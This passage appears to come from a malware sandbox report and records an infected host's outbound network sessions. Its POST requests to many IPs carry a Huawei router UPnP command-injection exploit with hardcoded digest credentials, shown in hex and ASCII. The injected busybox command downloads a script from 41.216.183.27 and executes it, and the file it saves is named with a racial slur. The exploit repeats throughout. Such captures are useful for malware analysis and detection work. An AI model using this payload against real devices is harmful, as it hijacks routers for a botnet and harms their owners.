s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.15	51754	222.185.234.99	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:57.960133076 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.104537964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.504463911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.112282038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:15.328150988 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.15	44222	156.77.135.31	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:59.573796034 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.15	38626	156.235.98.203	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:59.640505075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:00.448537111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.408411026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 